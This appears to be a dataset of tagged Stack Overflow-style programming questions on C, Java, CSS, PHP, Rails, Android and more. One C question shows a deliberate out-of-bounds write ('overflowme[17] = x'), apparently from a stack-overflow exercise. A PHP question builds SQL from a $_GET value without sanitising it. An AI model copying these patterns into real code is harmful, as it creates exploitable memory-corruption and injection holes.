i want to read from text file that displays which character appears most or least often (keyboard or text file)   :)  here s my code:         <pre><code>include &lt;stdio.h&gt;  int main() {    char str[1000]  ch;    int i  frequency = 0;     printf( enter a string:  );    gets(str);     printf( enter a character to find the frequency:  );    scanf( %c  &amp;ch);     for(i = 0; str[i] !=  \0 ; ++i)    {        if(ch == str[i])            ++frequency;    }     printf( frequency of %c = %d   ch  frequency);     return 0; </code></pre>   i figured that the frequency of characters code i came up with is similar. how to implement the character which appears more / less often in standard input or text file     also  should i use <code>streamreader sr = new streamreader( example.txt )</code> for reading normal text files for this code     edit: have to use switch /m for most often and /l for least often.,c
java graphics g.drawstring  here i have two methods  one which generates a list based on instances and the other which uses drawstring() to display some text...   <pre><code>private map&lt;string  color&gt; hashmap = new hashmap&lt;string  color&gt;();   for (int u = 0; u &lt; people.size(); u++) {                 if (people.get(u) instanceof boy) {                      list[u]= b ;                      hashmapmap.put(list[u]  color.red);                     system.out.print( b );                 } else if (people.get(u) instanceof girl) {                     system.out.print( g );                     list[e] =  g ;                     hashmap.put(list[u]  color.green);                  }             } </code></pre>   so this gives me two arrays  respectively called  list  and  hashmap .    so the contents of my arrays are now             list[b g b g] and hashmap provides the values and keys for these values in the list array respectively. i am using the code below but its not working. my question is: how do i colour each value based on their key from the hashmap list    <pre><code>public void paint(graphics g){             g.drawstring(list  10  10)             // will like to colour each value according to its key in the hashmap list             } </code></pre>,java
defining sqrt as type int in c   so in c i m trying to make a for loop that goes up to the square root of a number   but i need to define that square root as type int since the control statement can t have double types.    basically what i did is define <code>int1</code> as type <code>int</code>  and then have <code>int1=sqrt(n);</code>.     however  the compiler isn t accepting it. help  here s my entire code (it s an algorithm for eratosthene s sieve)    <a href= http://pastebin.com/v6chqj4f  rel= nofollow >http://pastebin.com/v6chqj4f</a>,c
not able to get image as json response using angularjs   i am getting image in json response form restful api and i have to use that image in html using angularjs.    i dont know how can i use that image using angularjs    if i am trying like that <strong> http:/api/image/id </strong> where id is <strong> userid </strong>. but when i write the code in angularjs i didnt get any response.i tried to debug code by using breakpoints and but it didn t go inside the function     <strong>js code</strong>   <pre><code>qaapp.controller( imgctrl   function ($scope  $http) {   $scope.image = function (id) {        var request = $http({                           method:  get                              url: server +  api/image/  + id                          });             request.success(function(data  status  headers  config) {               console.log(data);              });           }       });  </code></pre>   <strong>html code</strong>   <pre><code>&lt;div class= artst-pic pull-left  ng-controller= imgctrl &gt;       &lt;img ng-show =  {{image(q.userid)}}  alt=   class= img-responsive  /&gt;k &lt;/div&gt; </code></pre>   please tell me how can i use this.,angularjs
a more definitive answer on when to release an object  i know this has been answered before (sort of) but i ve been reading conflicting answers on exactly when or when not to release an object that has not been specifically subclassed via an allocation.    for example  if i do the following:   <pre><code>@property (...  retain) nsmutablearray *myarray; </code></pre>   or in general    <pre><code>@property (some retain attribute - strong  weak  retain) type myobject; </code></pre>   after synthesization  if i do nothing else to myobject (no allocation or even forget to use it)  are there any cases in which i m still responsible to release it,objective-c
get the current view controller in ios  in my ipod device  i have attached an external device for scanning purpose. there is a scan button for the external device. the delegate methods for the scanner are in the view controller  scannerviewcontroller . now i am in another view controller called  notificationviewcontroller  and click the button present in the external device. when i click the button and the scan is complete  it triggers a method in the scannerviewcontroller. in that method  i need to get the name of the current view controller that is visible. that is in this case  i need to get the name of the view controller as notificationviewcontroller.,ios
why to use # in embedded code asp.net  when to use <code>#</code> used inside <code>&lt;% %&gt;</code>       <code>&lt;%# eval()%&gt;</code>       what is the use of <code>#</code> in this      what are the other options available like this,asp.net
how to avoid code duplication in this example   i have two classes  <code>base</code> and <code>derived</code>. i provide a function that applies a function to all elements of <code>base</code>  and another function to apply a function to all elements of <code>derived</code>:   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt;  class base {   typedef std::vector&lt;int&gt; vec;   typedef vec::const_iterator citer;   citer begin() const;   citer end() const; };  class derived : public base {   void add(int); };   template&lt;class f&gt; void processbase(const base&amp; b  f&amp; f) {   for (base::citer it = b.begin(); it != b.end(); ++it) {     f(b  *it);   } }  template&lt;class f&gt; void processderived(derived* d  f&amp; f) {   for (base::citer it = d-&gt;begin(); it != d-&gt;end(); ++it) {     f(d  *it);   } } </code></pre>   how can i make the one function call the other  so that i don t have code duplication  (i gave only a minimal example; in my real code the <code>for</code> loops are kind of complicated  and that code is exactly repeated in the two functions.)    do i have to template the <code>processbase</code> function  or is there a way to use casting,c++
hover over text  separate div appears  <a href= http://codepen.io/martaklopf/pen/apzbwv editors=1111  rel= nofollow noreferrer >http://codepen.io/martaklopf/pen/apzbwv editors=1111</a>    html    <pre><code>&lt;div class= boxes &gt; &lt;/div&gt;  &lt;div class= hoverover &gt;  hello &lt;/div&gt; </code></pre>   css   <pre><code>.boxes {  background-color: yellow;  height: 100px;  width: 200px;  display: none; }  .hoverover:hover .boxes {  display: block; } </code></pre>   i am trying to do something really simple with just css  but i can t figure it out. i want to hover over some text and have something else appear in a <strong>separate</strong> div with just css. i thought what i have would work except that display:block seems to be somehow blocked. i tried inline and that doesn t work either. am i missing something really obvious  thanks in advance!,css
how to pick image from gallery and that image put in to our application  i have beginner of  iphone any source code and suggestion related display image in to our apps and pick the photo from gallery,objective-c
how can i get model names from inside my app   i have a bunch of models in a sub-directory that inherit from a model in the models root directory.  i want to be able to set a class variable in another model that lists each inherited model class.    i.e   <pre><code>@@groups = sub_models.map do { |model| model.class.to_s } </code></pre>   not sure how to get at this info though...,ruby-on-rails
characters that need to be escaped in an objective-c nsstring object  want to know the whole character set whose characters have to be escaped in an objective-c nsstring object in order to be recognized properly  e.g. <code> </code> has to be escaped as <code>\ </code>  as in   <pre><code>nsstring *temporarystring = @ that book is dubbed as \ the little book\ . ; </code></pre>   is the character set same with the one in <code>c</code> language <code>char *</code> string     thanks for your help :d,objective-c
overwriting data in a .txt file c++  i have a functions overwrites data on an existing file  however it isn t working properly here is my code:   <pre><code> void printlist(entry* my_node)  {           ofstream output;               output.open( output.txt );          std::streambuf *coutbuf = std::cout.rdbuf(); //save old buf          if(my_node == null) return;         else {             string x=my_node-&gt;forename;             output&lt;&lt;x&lt;&lt;endl;              output&lt;&lt;my_node-&gt;surname&lt;&lt;endl;             output&lt;&lt;my_node-&gt;email&lt;&lt;endl;             output&lt;&lt;my_node-&gt;number&lt;&lt;endl;             std::cout&lt;&lt; forename:   &lt;&lt;my_node-&gt;forename&lt;&lt;std::endl;              std::cout&lt;&lt; surname:   &lt;&lt;my_node-&gt;surname&lt;&lt;std::endl;             std::cout&lt;&lt; email:   &lt;&lt;my_node-&gt;email&lt;&lt;std::endl;             std::cout&lt;&lt; phone number:   &lt;&lt;my_node-&gt;number&lt;&lt;std::endl;              printlist(my_node-&gt;next);                output.close();         } } </code></pre>   when i do this it clears the file and don t write anything to it ...i have also tried to first clear the file and then write to it    <pre><code>output.clear();  output.close();  output.open( output.txt  ios ::out|ios::app);  std::streambuf *coutbuf = std::cout.rdbuf();  //save old buf  ///and then the rest but it didn t work as well </code></pre>   any help please,c++
class level method  undefined   with the code below:   <pre><code>class testcontroller &lt; applicationcontroller   wrap_parameters :test  format: [:json  :xml]  include: self.test_method    def self.test_method     [ :one  :two  :three ]   end end </code></pre>   i get a routingerror: <code>actioncontroller::routingerror (undefined method  test_method  for testcontroller:class)</code>    i tried a number of different derivations of this  but nothing is working.    edit: <code>routes.rb</code> -- was routing to api.servername/create during error:   <pre><code>testapp::application.routes.draw do   resources :subscriptions    # api subdomain   constraints subdomain:  api  do     get  /  =&gt;  test#index      post  /create   to:  test#create      get  /status   to:  test#show    end    # root route   root to:  pages#index     # user routes   devise_scope :user do     get  login  =&gt;  devise/sessions#new   :as =&gt; :new_user_session     post  login  =&gt;  devise/sessions#create   :as =&gt; :user_session     delete  logout  =&gt;  devise/sessions#destroy   :as =&gt; :destroy_user_session      get  register  =&gt;  devise/registrations#new   :as =&gt; :new_user_registration     get  profile  =&gt;  devise/registrations#edit   :as =&gt; :edit_user_registration     get  users  =&gt;  users/registrations#index    end   devise_for :users  :skip =&gt; [:sessions]  controllers: { registrations:  users/registrations  } end </code></pre>,ruby-on-rails
why my destrucror cannot call a virtual method   consider the following (my compiler is visual studio 2015):   <pre><code>class myclassa { public:     myclassa()     {         printf( build a\n );     }     void parentmethod()     {         test();     }     virtual ~myclassa()     {         printf( delete a\n );     }     virtual void test() = 0; };  class myclassb : public myclassa { public:     myclassb()     {         printf( build b\n );     }     virtual ~myclassb()     {         printf( delete b\n );     }     void test()     {         printf( test\n );     } };  int main() {     myclassa *b = new myclassb();     b-&gt;parentmethod();     delete b;     getchar();     return 0; } </code></pre>   if i run this  everything is fine:   <pre><code>build a build b test delete b delete a </code></pre>   but if i want to call test() inside the destructor  it won t compile!   <pre><code>virtual ~myclassa() {     printf( delete a\n );     test(); } </code></pre>   the linker complain:   <pre><code>severity    code    description project file    line    suppression state error   lnk2019 unresolved external symbol  public: virtual void __thiscall myclassa::test(void)  ( test@myclassa@@uaexxz) referenced in function  public: virtual __thiscall myclassa::~myclassa(void)  (  1myclassa@@uae@xz)  polymorphismtest    d:\dev\polymorphismtest\polymorphismtest\polymorphismtest.obj   1    </code></pre>   why is that      it seems that a destructor cannot call a virtual method  wheras a regular method can.,c++
why is my background color not being applied   i m trying to work out why my <code>background-color</code> isn t showing up. i m guessing it has something to do with the float  but am not exactly sure why or what is causing it.    <a href= http://jsfiddle.net/k4sw9/  rel= nofollow >http://jsfiddle.net/k4sw9/</a>,css
how to set the height of div tag using css <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1798926/div-width-and-height-wont-resize-when-setting-innerhtml >div width and height wont resize when setting innerhtml </a>    </blockquote>     i have a div tag and it has text written as inner html  like this for example:   <pre><code>&lt;div&gt;some text. some text. some text. some text. some text. some text. some text. some text.........&lt;/div&gt; </code></pre>   the inner html has a long text. under the div tag i have kept an anchor tag. the problem is  when i shorten the height of div tag  say to 200px then the anchor tag comes over the inner html of div tag.    but  i want that when i shorten the height of div tag the inner html should also have the same height. i mean the anchor tag will appear just below the div tag and the div tag will have 200px height. i have googled around but didn t got much help. i hope i have made myself clear. if you have any doubts ask me please. i need help.,css
how to baseline constructed in css  i don t understand what does baseline mean in <code>css</code>  let we have block-level box. how i can look at the baseline  how to determine where is a baseline of a div block in this example  <a href= http://jsfiddle.net/h4nhk/1/  rel= nofollow >jsfiddle</a>,css
drop shadows to the div using images  i am working on a div which should show a drop shadow at the bottom and right. here is the link to the html page. i dont know why the classes are not getting applied to the div. your help is highly appreciated.<br /> <a href= http://shivanand.in/forums/tooltip/tooltip.html  rel= nofollow noreferrer >tooltip.html</a> <br /> here is the image mock-up which shows the drop shadow affect<br /> <a href= http://shivanand.in/forums/tooltip/image-mockup.png  rel= nofollow noreferrer >image-mockup</a>,css
angular: for a dropdown that filters a list  can a counter be added to each dropdown option   i have a dropdown that is being used to filter a list of data.    i also have a counter (underneath the dropdown) that shows how many results have been returned by the filter.    however  is it possible to append the counter to each option in the dropdown itself  so the dropdown options would look like this for example...   <pre><code>show all (6) show x (2) show y (1) show z (3) </code></pre>   at the moment each option will always show the same number (see below)  because it s only getting the current filter value...    <pre><code>show all (6) show x (6) show y (6) show z (6) </code></pre>   is it possible  or am i expecting too much from the filter     here is an example of what i mean: <a href= http://plnkr.co/edit/xxdok5fix9mejyiqsjuw p=preview  rel= nofollow >example</a>,angularjs
changing ui from thread  i know there were similiar question  but my problem slightly different i have such code   <pre><code> thread t = new thread(){         public void run(){             while(!running) {                 if(gpstracker.cangetlocation()) {                     double lon = gpstracker.getlongitude();                     double lat = gpstracker.getlatitude();                     now = new latlng(lat lon);                     if(change(now)==1)                         running = true;                     else                         ;                 }                 else {                     gpstracker.showsettingsalert();                 }             }         }     }; </code></pre>   in <code>change(now)</code> i m changin ui so my question is how can i change ui from my thread  i have read about handler od async task but i dont think they are ok in this situation  or maybe i dont know how i can use them  any suggestions,android
join 3 database tables together in php  i have 3 database tables that i need information from. the information i need is indented.   <pre><code>--products      --product_image --order_options      --option_value --order_products     --product_id </code></pre>   right now i have the following code   <pre><code>foreach ($db-&gt;query( select * from products where product_id= $product_id ) as $row)     order_product[] = $row;  foreach ($db-&gt;query( select * from order_options where order_id= $order_id ) as $row)     order_size[] = $row;  foreach ($db-&gt;query( select * from order_products where order_id= $order_id ) as $row)     order_source[] = $row; </code></pre>   <em>(the <code>order_id</code> comes from an <code>$order_id = $_get[ id ];</code> earlier in the script.)</em>    i am wanting to place all three select statements into a single query. i ve seen this done but never really understood anything i found (i.e. <a href= https://stackoverflow.com/questions/15682983/getting-information-from-3-tables-sql-php >an old question from this site</a>) i understood the <a href= http://www.youtube.com/watch v=g1olrfjhdyw  rel= nofollow noreferrer >youtube video</a> i watched and managed to change the above into the below:    <pre><code>foreach ($db-&gt;query( select * from [order_products] as opro inner join order_options as oopt on opro.order_id = oopt.order_id ) as $row)         $order_variables[] = $row; </code></pre>   although when i run this i receive this error:    <pre><code>warning: invalid argument supplied for foreach() in /home/www/libraries/phppwinty/print.php on line 35 </code></pre>   so how can i get a successful <code>join</code> between these <code>3</code> tables,php
transparent status bar  i am trying to achieve a seamlessly transparent status bar on my app  so far this is what i have achieved:    <a href= https://i.stack.imgur.com/1bvrr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/1bvrr.png  alt= enter image description here ></a>    as you can see a) the status bar is not really fully transparent and b) the toolbar is cut off.    this is my xml layout:   <pre><code>&lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent      android:gravity= center_horizontal      tools:context= .ui.profile.profileactivity      android:orientation= vertical &gt;  &lt;android.support.design.widget.appbarlayout     android:id= @+id/profile_appbar      android:background= @drawable/topbar_gradient      android:layout_width= match_parent      android:layout_height= wrap_content      android:theme= @style/apptheme.dark &gt;      &lt;android.support.v7.widget.toolbar         android:fitssystemwindows= true          android:id= @+id/toolbar          android:layout_width= match_parent          android:layout_height=  android:attr/actionbarsize          app:layout_scrollflags= scroll|enteralways          android:background= @drawable/topbar_gradient          xmlns:app= http://schemas.android.com/apk/res-auto          xmlns:android= http://schemas.android.com/apk/res/android  /&gt; &lt;/android.support.design.widget.appbarlayout&gt;  &lt;android.support.v7.widget.cardview     android:layout_width= match_parent      android:layout_height= wrap_content &gt;     (...) &lt;/android.support.v7.widget.cardview&gt;  &lt;/linearlayout&gt; </code></pre>   styles-v21.xml:   <pre><code>&lt;style name= apptheme  parent= theme.materialcomponents.light.noactionbar &gt;      &lt;!-- customize your theme here. --&gt;     &lt;item name= colorprimary &gt;@color/colorprimary&lt;/item&gt;     &lt;item name= colorprimarydark &gt;@color/colorprimarydark&lt;/item&gt;     &lt;item name= coloraccent &gt;@color/coloraccent&lt;/item&gt;     &lt;item name= cardviewstyle &gt;@style/cardview&lt;/item&gt;     &lt;item name= coordinatorlayoutstyle &gt;@style/widget.support.coordinatorlayout&lt;/item&gt;     &lt;item name= chipstyle &gt;@style/chipstyle&lt;/item&gt;       &lt;item name= android:windowtranslucentstatus &gt;true&lt;/item&gt;     &lt;item name= android:windowtranslucentnavigation &gt;true&lt;/item&gt;     &lt;item name= android:statusbarcolor &gt;@android:color/transparent&lt;/item&gt;     &lt;item name= android:windowdrawssystembarbackgrounds &gt;true&lt;/item&gt; &lt;/style&gt;   &lt;style name= apptheme.dark  parent= theme.materialcomponents.noactionbar &gt;     &lt;!-- customize your theme here. --&gt;     &lt;item name= colorprimary &gt;@color/colorprimary&lt;/item&gt;     &lt;item name= colorprimarydark &gt;@color/colorprimarydark&lt;/item&gt;     &lt;item name= coloraccent &gt;@color/coloraccent&lt;/item&gt;      &lt;item name= cardviewstyle &gt;@style/cardview&lt;/item&gt;      &lt;item name= coordinatorlayoutstyle &gt;@style/widget.support.coordinatorlayout&lt;/item&gt;     &lt;item name= chipstyle &gt;@style/chipstyle&lt;/item&gt;      &lt;item name= android:windowtranslucentstatus &gt;true&lt;/item&gt;     &lt;item name= android:windowtranslucentnavigation &gt;true&lt;/item&gt;     &lt;item name= android:statusbarcolor &gt;@android:color/transparent&lt;/item&gt;     &lt;item name= android:windowdrawssystembarbackgrounds &gt;true&lt;/item&gt;  &lt;/style&gt; </code></pre>   i ve tried all combinations of fitsystemwindows  i really dont understand what this is doing.,android
unable to store the response data of http in angular js to a local variable in controller and manipulate that variable   a facory for http request from a json file.   <pre><code>           myapp.factory( contactfactory   [ $http   function ($http) {              var promise = $http.get( directivejson.json );                                     return promise;               }]); </code></pre>   writing the then function of promise in controller  now i need to store the value of promise2.data into local variable x and do something on x. is it possible right now console.log(x) wont be containing the response data.   <pre><code> myapp.controller( myctrl  [ $scope   contactfactory  function(scope p) {       var x;      p.then(function(promise2) {      console.log(promise2.data);      scope.data=promise2.data;      x=promise2.data;     });  console.log(x);    }]); </code></pre>,angularjs
custom font in ios keyboard extension   custom font in ios keyboard extension  can we develop ios custom keyboard which supports  times new roman  font style  regards  suresh.,ios
difference between div and span tag  can anyone give me the difference between <code>div</code> and <code>span</code> tags,html
php __constructors and getters  i m new in  php i m using a simple constructor to input an data on a class then retrieve it via getters.   <pre><code>class name{     private $name;      public function __constructor($name){         $this-&gt;name = $name;     }      public function getname(){          return $this-&gt;name;     } }  $name = new name( josel parayno );  echo $name-&gt;getname(); </code></pre>   can someone explain me how can i echo the name using the object.,php
rails-admin icon broken  i m using rails-admin for the dashboard of rails app. but on dashboard  the icons are all same - white square.    screenshot for broken icons:    <img src= https://i.stack.imgur.com/2c6pk.png  alt= broken icons >    here is the gemfile   <pre><code>source  http://rubygems.org   gem  rails    4.1.1  gem  slim-rails    ~&gt; 2.1.0  gem  devise    ~&gt; 3.2.4  gem  devise-i18n  gem  configatron    2.13.0  gem  navigation_link_to    0.0.2  gem  cyrax    0.7.4  gem  dotenv-rails   gem  simple_form    3.0.2   # emails styles gem  roadie    2.4.3   # assets gem  sass-rails    ~&gt; 4.0.3  gem  uglifier    ~&gt; 2.5.0  gem  coffee-rails    ~&gt; 4.0.1  gem  therubyracer   platforms: :ruby  require:  v8  gem  droidcss  gem  jquery-rails  gem  bootstrap-sass   # unicorn gem  unicorn  gem  jbuilder   # mongo gem  mongoid    ~&gt; 4.0.0  gem  mongoid-grid_fs  gem  fog    ~&gt; 1.27   require:  fog/aws/storage  gem  carrierwave-mongoid   require:  carrierwave/mongoid  gem  mongoid-geospatial  # gem  rmagick   require: false gem  mini_magick  gem  carrierwave-video  gem  public_activity  gem  mongoid_slug  gem  mongoid_search  gem  mongoid_paranoia   github:  simi/mongoid_paranoia   # aerospike gem  aerospike   # documentation gem  apipie-rails   github:  apipie/apipie-rails  gem  maruku   # other gems gem  inherited_resources  gem  rails_admin   github:  sferik/rails_admin  gem  enumerize  gem  sidekiq  gem  pundit   # ios gem gem  houston   gem  whenever  # gem  quartz   github:  jeizsm/quartz  gem  twilio-ruby  # mixpanel gem  mixpanel-ruby   group :development do   gem  capistrano    2.15.5   require: false   gem  capistrano-sidekiq   github:  seuros/capistrano-sidekiq    gem  letter_opener    gem  quiet_assets    1.0.2    gem  thin    1.6.2    gem  guard-rubocop  end  group :test do   gem  spring-commands-rspec    gem  database_cleaner    1.2.0    gem  factory_girl_rails    4.4.1    gem  capybara    2.3.0    gem  email_spec    1.5.0    gem  turnip    1.2.1  end  group :test  :development do   gem  mocha    1.0.0   require:  mocha/api    gem  spring    gem  rspec-rails    ~&gt; 3.0.0    gem  guard-rspec   require: false   gem  shoulda    3.5.0    gem  byebug    gem  pry-byebug    gem  pry-rails  end </code></pre>   is there any mistake while using the rails admin or other gems     any suggestion would be helpful!,ruby-on-rails
turn flat array into nested array  just working on something and can t find a simple solution to this problem without just looping through the array with a foreach. does anyone have a simple solution for this    i want to turn this    <pre><code>&amp;array(4) { [ a ]=&gt;int(0) [ b ]=&gt;int(1) [ c ]=&gt;int(2) [ d ]=&gt;int(3) } </code></pre>   into this   <pre><code>array(1) {   [ a ]=&gt;   array(1) {     [0]=&gt;     array(1) {       [ b ]=&gt;       array(1) {         [0]=&gt;         array(1) {           [ c ]=&gt;           array(1) {             [0]=&gt;             array(1) {               [ d ]=&gt; int(1) //this value does not matter             }           }         }       }     }   } } </code></pre>   the values don t matter at all i just need the keys to run against a array_intersect_key_recursive function that i have.    edit : the array has changed after testing it needs to be nested as an array of an array,php
what does (int) mean in c programming <pre><code>void problem3(void) {     int overflowme[16];     int x = (int) problem3; // x is the address of the first instr for problem3     printf( hello world\n );     overflowme[17] = x;  </code></pre>   i m wondering what does the (int) do in c programming.,c
is gc a thread in .net <blockquote>    garbage collection is a daemon thread in java.<br>   i have a great confusion  is garbage collection also a thread in dot net       </blockquote>,.net
couldn t find user with id= (activerecord::recordnotfound)  with my rails app i can successfully create an object (called work; think of them as blog posts) as current_user. a user has_many works. i can validate that the object is created successfully by checking the database using my postgresql browser. the table also holds the correct user_id that created the work so i know that my create function works in my controller.    however  the problem is that when i try to view the work  i get the following error:    activerecord::recordnotfound in workscontroller#show    couldn t find user with id=23    app/controllers/works_controller.rb:43:in `show     what s odd is that i can still view works that i created several weeks ago. the error only appears for works that i have created recently.    here s the works controller:   <pre><code>class workscontroller &lt; applicationcontroller    #before_filter :current_user    only: [:edit  :update]    def index     @works = work.all  respond_to do |format|   format.html # index.html.erb   format.xml  { render :xml =&gt; @works } end end def create     @work = current_user.works.create(params[:work])     redirect_to current_user   end  def edit     @work = current_user.works.find(params[:id]) end  def new   @work = current_user.works.new end  def destroy   @work = current_user.works.find(params[:id]).destroy   flash[:success] =  work deleted    redirect_to current_user end   def update     @work = current_user.works.find(params[:id])     if @work.update_attributes(params[:work])       flash[:success] =  updated        redirect_to @work     else       render  edit      end   end     def show     @user = user.find(params[:id])     @work = @user.works.find(params[:id])     @activities = publicactivity::activity.order( created_at desc ).where(trackable_type:  work   trackable_id: @work).all      respond_to do |format|       format.html # show.html.erb       format.xml  { render :xml =&gt; @work }     end   end end </code></pre>   i m assuming the error is in the works controller. what do i need to edit in the controller in order to fix the  show  errors     edit: if i use the current code above  i can only view other people s works (viewing my own throws an error). however  if i add current_user into the query (such as @works= current_user.works)  i can then only see my own works. viewing other people s works throws an error. how can i fix this so that i can view both my own works and works created by others     edit 2:    @work = work.find(params[:id]) works if i remove @user from the controller and the  @user  references in the works show.html view file. however  i need the  @user  reference in the controller because i want to display the name of the user that created the work. how should i go about doing this      edit 3:    <strong>fixed! thanks again to everyone who contributed their answers! here s what i did to fix it:</strong>   <ol> <li> i removed the @user reference from the controller ( show  action). as fred mentioned below the @user reference is not needed and needed to be removed since i was using :id twice to reference two separate objects.  </li> <li> edited the  @work  variable to <code>@work = work.find(params[:id])</code>. this will look for the correct work item based on the id regardless of which user created it. </li> <li> when i need to display the user data on the work pages  simply use <code>&lt;%= @work.user.name %&gt;</code> on the show.html.erb view page.  @user = user.find(params[:id])  is not needed since i already defined a foreign key relationship on the works model by using  belongs_to :user . </li> </ol>   thanks again for all of the help! -j,ruby-on-rails
cant read messages from processes using multiple pipes in c  im creating pipes for multiple children. the code catches a signal fro the keyboard and then the child should sent a message to the father with its result. the handling of the signal works fine but i cant sent the result to the father. i am i doing something wrong here     the code of the father process is :    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;signal.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/types.h&gt;  pid_t *childs; //array for storing childs pids int number_of_childs;//variable for the number of childs int exit_count=0; int *fd;  /*handler for the sigint signal*/  void control_handler(int sig) { if (sig==sigint){      int j bytes;     char message[512];     /*sending sigusr1*/      for (j=0;j&lt;number_of_childs;j++)     {     kill(childs[j] sigusr1);     }      /*reading from pipes*/      for (j=0;j&lt;number_of_childs;j++)     {        close(fd[(2*j)+1]);       bytes = read(fd[(2*j)]  message  sizeof(message));     printf( read from: %s\n  message);     close(fd[2*j]);     } }  if (sig==sigusr2) { exit_count++; }  }  main (int argc char *argv[]){  int i child_status; char cast[512]; char cast2[512]; char cast3[512]; int pid; number_of_childs=atoi(argv[1]);  signal(sigint control_handler); signal(sigusr2 control_handler);  /*creating array for children pipes*/ fd=(int*)malloc((2*number_of_childs)*sizeof(int));   /*array that holds the pids for every child used in sending signals*/ childs=malloc(number_of_childs*sizeof (pid_t));    for (i=0;i&lt;number_of_childs;i++){ pid=fork();     /*create pipes to communicate with all children*/      if(pipe(fd+(2*i))==-1)     {     perror( pipe );exit(1);     }      /*fathers code goes here*/      if(pid!=0)         {         printf( parent process: pid= %d ppid=%d  cpid=%d \n  getpid() getppid() pid);         childs[i]=pid; // keep all your childs in an array         printf( child:%d\n  childs[i]);          }      /*if you are a child*/          else          {         /*change the code for the childs and set the time of execution*/         sprintf(cast  %d  i+1); // make the time char         sprintf(cast2  %d  (2*i)+1);    //make the pipe char         sprintf(cast3  %d  number_of_childs);            execl( ./child.out     cast cast2 cast3 null);         }     }            /*father should never terminate*/                        while (exit_count!=number_of_childs);         printf( father pospastex!!\n );  } </code></pre>   the code for the child children is :    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;signal.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/types.h&gt; #include &lt;time.h&gt;  #include &lt;string.h&gt; #define write 0 #define read 1   /*global declerations*/  int alarmflag=0; double result=0; int count=0; int global_pipe; int *fd;  /*handler for the alarm and sigusr1 signal*/ void signal_handler (int sig) {  if(sig==sigalrm) { printf( im child with pid:%d im going to die my value is %lf \n  getpid() result); alarmflag=1; }  if(sig==sigusr1) { count++; char message[512];      if(count==1)     {     close(fd[global_pipe-1]);     sprintf(message  %d %lf  getpid() result);     write(fd[global_pipe] message strlen(message)+1);     close(fd[global_pipe]);      //printf( pid:%d report: %lf\n  getpid() result);     }     if(count==2)     {     close(fd[global_pipe-1]);     sprintf(message  %d %lf  getpid() result);     write(fd[global_pipe] message strlen(message)+1);     close(fd[global_pipe]);      //printf( pid:%d report2 : %lf\n  getpid() result);     //kill(getppid() sigusr2);     //exit(0);     } } if(sig==sigint) { /*do nothing*/  }  }   double p_calculation () {  int i=2;  result=3;  double prosimo=-1;   while(!alarmflag)     {  prosimo=prosimo*(-1);  result=result+(prosimo*(4/((double)i*((double)i+1)*((double)i+2))));  i=i+2;     }  }  main(int argc char *argv[]) { int pipe; int size_fd;  size_fd=(atoi(argv[3])); pipe=(atoi(argv[2])); global_pipe=pipe;  fd=(int*)malloc(size_fd*sizeof(int));  /*handling signals*/ signal(sigalrm signal_handler); signal(sigusr1 signal_handler); signal(sigint signal_handler);  /*notify for execution time*/ printf( pid : %d with ppid : %d executing for %d seconds \n  getpid() getppid() atoi(argv[1])); //printf( pipe:%d\n  pipe); /*end this after the value passed as argument*/ alarm(atoi(argv[1])); p_calculation();  /*notify for finish*/  printf( done!!!\n );  } </code></pre>,c
how to move up the text in css footer   i have a small text in the footer. the text is aligned to right but i want the text to move up slightly  how can i do that  my code    <pre><code>#foot tag {     width:1000px;     height:30px;     padding:10px;     border:5px solid white;     margin:0px;      text-align:right;      padding-top: 10px;     } </code></pre>,css
i want make android chat application and facing following error: <blockquote>    error:execution failed for task  :app:transformclasseswithjarmergingfordebug . > com.android.build.api.transform.transformexception: java.util.zip.zipexception: duplicate entry: com/parse/abstractquerycontrolle  </blockquote>   and     my gradle.build like:   <pre><code>apply plugin:  com.android.application   android {     compilesdkversion 23     buildtoolsversion  23.0.3       dexoptions {         // prevent outofmemory with multidex during the build phase         javamaxheapsize  4g      }      defaultconfig {         multidexenabled true         applicationid  myfirstapp.sohail.smartchat          minsdkversion 16         targetsdkversion 23         versioncode 1         versionname  1.0      }     buildtypes {         release {             minifyenabled false             proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.pro          }     } }  dependencies {     compile filetree(dir:  libs   include: [ *.jar ])         testcompile  junit:junit:4.12       compile  com.android.support:appcompat-v7:23.1.1          compile  com.parse:parse-android:1.13.1       compile  com.parse:parseinterceptors:0.0.2          compile  com.squareup.picasso:picasso:2.5.2     } </code></pre>,android
c# instantiate a class by setting a member value  currently when setting a member variable of on object i check if the object is instantiated. is this really necessary  or is the object instantiated by just setting one member variable    <pre><code>person _person;        public int age {   get   {     return _person.age;   }   set   {     if (_person != null)       _person.age = value;     else       _person = new _person(value);   } } </code></pre>   is that the same as below    <pre><code>person _person;        public int age {   get   {     return _person.age;   }   set   {     _person.age = value;   } } </code></pre>,c#
native facebook app log in status in ios  how to check if user is logged into the native facebook app or not in my another application in iphone programmatically,iphone
is there any option to create an output text file in the name of the input file in c programm   is there any option to generate an output text file as same as the input file name     in c i got the file name using:   <pre><code>gets(file_name); </code></pre>   and open it through the:   <pre><code>f1=fopen(file_name  r ); </code></pre>   comment.how do i open the file without entering the format type  for example for <code>file100.txt</code> i d like to enter <code>file100</code> to read the file.    and any option to get the output file as same name as the input file,c
why does changing the `background-color` of a button change other styles too   <a href= http://codepen.io/anon/pen/kwkoaz  rel= noreferrer >http://codepen.io/anon/pen/kwkoaz</a>    changing only the <code>background-color</code> significantly changes the style on a button element  specifically the <code>border</code> style.    <img src= https://i.stack.imgur.com/7iizn.png  alt= background change >    this happens on chrome  safari  and firefox on a mac. why does this happen  how can i safely change its background color,css
